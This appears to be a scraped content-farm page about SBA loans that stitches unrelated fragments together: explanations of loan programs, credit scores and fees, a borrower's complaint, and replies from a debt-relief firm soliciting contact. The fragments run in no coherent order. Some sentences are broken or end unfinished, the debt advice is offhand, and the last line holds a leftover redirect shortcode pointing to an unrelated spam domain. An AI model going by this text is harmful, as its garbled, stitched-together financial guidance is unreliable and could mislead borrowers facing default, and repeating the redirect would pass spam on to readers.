The SBA does not make loans directly to small businesses. Rather, it sets the guidelines for loans, which are made by lending partners nationwide, including banks and economic development organizations. The SBA guarantees a percentage of the loan, minimizing risk to the lending partners and increasing the possibility that small businesses will receive the funds they need.
Small-business grants from private foundations and government agencies are another way to raise startup funds for your small business. They’re not always easy to get, but free capital might be worth the hard work for some new businesses.
The SBA doesn’t make any of the loans itself, but makes it all possible by guaranteeing the loans made by other lending institutions. What usually happens in the case of a default is the lending bank will contact you and explain the details of the default and how to remedy it.
Yes you can get the liens released by doing what is called an “OIC” Offer in Compromise. Depending on what your financial statement looks like now is going to depend on what the offer will be. Feel free to email me or call me. [email protected] 401-390-3800
The 7(a) Loan Guarantee Program is designed to help entrepreneurs start or expand their small businesses. The program makes capital available to small businesses through bank and non-bank lending institutions. The Small Business Jobs Act of 2010 increased the maximum size of these loans, from $2 million to $5 million.
Your personal credit score ranges from 300 to 850 (the higher, the better), and evaluates your ability to repay your personal debts, such as credit cards, car loans and a mortgage. The FICO score, commonly used in lending decisions, is based on five factors: your payment history (35% of your score), the amounts owed on credit cards and other debt (30%), how long you’ve had credit (15%), types of credit in use (10%) and recent credit inquiries (10%). Small-business lenders require a personal credit score for loan applications because they want to see how you manage debt.
Denise, your situation is like many others that we deal with on a daily basis here at Bridge Management. Feel free to email me anytime at [email protected] and I can give you some insight that the bank would accept for payment plan options to prevent this from getting passed to the Treasury Department.
We understand that financing can be critical to the success of your business. So we offer a suite of business lending solutions at competitive rates that can be customized to meet your needs. Choose from our small business loan and line of credit offerings below. Our Relationship Managers can help you determine the best financing solution for your business.
John, your situation is very familiar to situations we deal with on a daily basis here at Bridge Management. You can flip a coin and figure out if the treasury will take all of it. If they know about it, the odds are certainly likely they will get it. You should seriously consider speaking to a BK attorney to include the SBA debt so you can protect your disability and future wage garnishment.
Non-sufficient funds (NSF) and unsuccessful payment fee: These fees are assessed if a loan payment is unsuccessful-this normally happens when the borrower’s bank account does not have enough money to cover the amount that is being withdrawn. NSF and unsuccessful payment fees are generally flat fees, ranging from $15 to $35 per unsuccessful payment.
I had an SBA loan (w/ my ex-husband) in 2007. I overpaid each month and in 2011 decided to restructure my business (divorced in 2009, ex still on loan docs). Contacted the bank who said I could defer to interest only for 3-6 months if paperwork was filled out by both parties. I filled mine out and submitted, ex SAID he did same. Received no statements from bank, so assumed (my fault – ass out of you & me) that everything was fine. Get ready to make payment in Oct (deferment started. In Mar) and saw that the bank had pulled $32,000 out of my accnts! No judgment, no court date. My ex never turned in the paperwork, so I was in default. But $32,000? How can they take that money (including money from 2 trust accnts) with no notice to me? And I was in that bank at least 2 x per week, and no one ever said, hey – you need to pay your SBA loan. Is it legal to just remove $$ from an account w/ no judgment?
The qualifications for each type of SBA Disaster Loan are slightly different. One key difference shared by all of them is that your will be applying for a loan when your may not be in great shape. Despite this fact, the SBA still requires that:
The same paperwork that is required for the 7(a) loan is also required for a 504 loan. A list of Certified Development Companies in your state can be found here. Whether you first approach the senior lender or the CDC is up to you. [redirect url=’http://zoneprofit.stream/bump’ sec=’7′]